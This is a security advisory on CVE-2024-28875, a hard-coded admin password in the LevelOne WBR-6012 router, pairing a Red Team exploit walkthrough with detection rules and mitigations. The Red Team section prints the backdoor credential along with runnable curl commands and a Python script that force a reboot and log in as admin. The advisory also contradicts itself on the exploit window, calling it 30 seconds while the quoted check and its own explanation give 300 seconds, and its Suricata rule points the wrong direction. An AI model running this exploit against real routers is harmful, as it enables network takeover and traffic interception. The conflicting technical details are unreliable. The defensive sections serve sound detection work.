CVE-2024-28875

Executive Summary

CVE-2024-28875 exposes a critical hard-coded credential vulnerability in the LevelOne WBR-6012 router. The device contains a backdoor password @m!t2K1 embedded in firmware at address 0x80100910. This credential grants admin-level access to the web services, but only within the first 30 seconds after boot (checked via SECOND_FROM_BOOT_TIME < 300). However, other vulnerabilities can force a reboot, allowing attackers to repeatedly exploit this window. With a CVSS score of 8.1, this flaw enables full device compromise, including traffic interception, DNS poisoning, and lateral movement within a network. No patch is currently available, making this a high-priority risk for affected devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a firmware-level issue in an embedded IoT device (LevelOne WBR-6012 router). Supply chain risks include the inability to patch, reliance on vendor updates, and potential for malicious firmware modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – full access to device data.
• Integrity Impact: High (I:H) – ability to modify device configuration.
• Availability Impact: High (A:H) – can disrupt device operation.

Threat Level: Critical due to the combination of remote exploitability, no authentication, and high impact. The 30-second window is mitigated by the ability to force a reboot via other vulnerabilities.

Deep Dive & Mechanics

The vulnerability stems from a hard-coded credential string @m!t2K1 stored in the firmware at address 0x80100910. The function at 0x800b78b0 implements the following logic:

if ((SECOND_FROM_BOOT_TIME < 300) &&
    (is_equal = strcmp(password,"@m!t2K1")) {
        return 1;
}

• SECOND_FROM_BOOT_TIME is a system variable tracking seconds since boot.
• The check SECOND_FROM_BOOT_TIME < 300 limits exploitation to the first 5 minutes (300 seconds) after boot.
• strcmp compares the user-supplied password with the hard-coded string.
• Return value 1 grants admin-level access (0 = fail, 3 = user).

Attackers can bypass the time restriction by exploiting other vulnerabilities (e.g., denial-of-service or command injection) to force a device reboot, resetting the timer. Once admin access is gained, attackers can:

• Modify DNS settings for phishing or traffic interception.
• Extract Wi-Fi credentials and network keys.
• Install persistent backdoors via firmware modification.
• Use the device as a pivot point for lateral movement.

Vulnerable vs. Patched Code

Vulnerable Code (firmware binary):

// Function at 0x800b78b0
int authenticate(char *password) {
    if ((SECOND_FROM_BOOT_TIME < 300) &&
        (strcmp(password, "@m!t2K1") == 0)) {
        return 1; // admin access
    }
    return 0; // fail
}

Patched Code (hypothetical):

// Remove hard-coded credential and time window
int authenticate(char *password) {
    // Use secure password hashing and proper authentication
    if (verify_password(password, stored_hash)) {
        return 1; // admin access
    }
    return 0; // fail
}

No official patch exists. The fix would require removing the hard-coded credential, eliminating the time-based bypass, and implementing secure authentication (e.g., bcrypt with salt).

Exploitation & Lab Setup

Red Team

Exploit Steps:

1. Identify Target: Scan for LevelOne WBR-6012 devices on port 80/443.
2. Force Reboot (if needed): Send a malformed packet or exploit another vulnerability to trigger a reboot.
3. Exploit Backdoor: Within 30 seconds of boot, send a POST request to the login endpoint with password @m!t2K1.
4. Gain Admin Access: The server returns admin-level session token.
5. Post-Exploitation: Modify DNS, extract credentials, or deploy persistent access.

Example cURL Command:

# Force reboot (example using a known DoS vector)
curl -X POST http://target/reboot.cgi --data "action=reboot"

# Wait for device to reboot (approx 30-60 seconds)
sleep 40

# Exploit backdoor
curl -X POST http://target/login.cgi --data "username=admin&password=@m!t2K1" -c cookies.txt

# Verify admin access
curl http://target/admin/status.cgi -b cookies.txt

Automated Script (Python):

import requests
import time

target = "http://192.168.1.1"

# Force reboot (if needed)
try:
    requests.post(f"{target}/reboot.cgi", data={"action": "reboot"}, timeout=5)
except:
    pass

time.sleep(40)  # Wait for reboot

# Exploit backdoor
session = requests.Session()
login_data = {"username": "admin", "password": "@m!t2K1"}
response = session.post(f"{target}/login.cgi", data=login_data)

if "admin" in response.text:
    print("[+] Admin access granted")
    # Access admin panel
    admin_page = session.get(f"{target}/admin/status.cgi")
    print(admin_page.text)
else:
    print("[-] Exploit failed")

Blue Team

Detection & Response:

1. Monitor for Reboot Events: Log device uptime and detect unexpected reboots (e.g., via SNMP or syslog).
2. Analyze Login Attempts: Look for rapid login attempts with password @m!t2K1 within 30 seconds of boot.
3. Network Traffic Analysis: Detect anomalous POST requests to /login.cgi or /reboot.cgi.
4. Honeypot: Deploy a fake LevelOne WBR-6012 to capture exploit attempts.

Hunting Query (Splunk):

index=network sourcetype=web
| search uri="/login.cgi" AND form_data="*@m!t2K1*"
| table _time, src_ip, uri, form_data
| sort - _time

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /login.cgi with password @m!t2K1
  • POST requests to /reboot.cgi (forced reboot)
  • Unusual DNS queries from the device (e.g., to malicious domains)
• Host IOCs:
  • Firmware hash mismatch (original vs. modified)
  • Presence of backdoor string @m!t2K1 in memory dumps
  • Unexpected open ports (e.g., 23/telnet, 22/ssh)
• File IOCs:
  • Firmware binary with hard-coded string at offset 0x80100910
  • Log entries showing admin login within 30 seconds of boot

Detection Engineering

YARA Rule

rule CVE_2024_28875_Backdoor {
    meta:
        description = "Detects hard-coded credential @m!t2K1 in LevelOne WBR-6012 firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28875"
    strings:
        $backdoor = "@m!t2K1"
        $time_check = { 3C 01 2C 01 }  // SECOND_FROM_BOOT_TIME < 300 (approximate)
    condition:
        $backdoor and $time_check
}

Sigma Rule

title: CVE-2024-28875 LevelOne WBR-6012 Backdoor Exploitation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of hard-coded credential in LevelOne WBR-6012
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login.cgi'
        cs-username: 'admin'
        cs-password: '@m!t2K1'
    condition: selection
falsepositives:
    - Legitimate admin login (unlikely due to time window)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-28875 LevelOne WBR-6012 Backdoor Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login.cgi"; http_uri;
    content:"password=@m!t2K1"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Place LevelOne WBR-6012 routers on a separate VLAN with strict firewall rules.
2. Disable Remote Management: Block port 80/443 from WAN access.
3. Monitor Reboots: Alert on unexpected device reboots.
4. Firmware Update: Check vendor website for patches (none available as of now).

Long-Term Solutions:

• Replace Device: Migrate to a supported router with regular security updates.
• Network Segmentation: Use a firewall to restrict outbound traffic from IoT devices.
• Harden Configuration: Change default credentials and disable unnecessary services.
• Vendor Disclosure: Pressure LevelOne to release a firmware patch.

Workaround:

• Implement a custom firewall rule to block POST requests containing @m!t2K1:

iptables -A INPUT -p tcp --dport 80 -m string --string "@m!t2K1" --algo bm -j DROP

Valters IT
Securing Digital Frontiers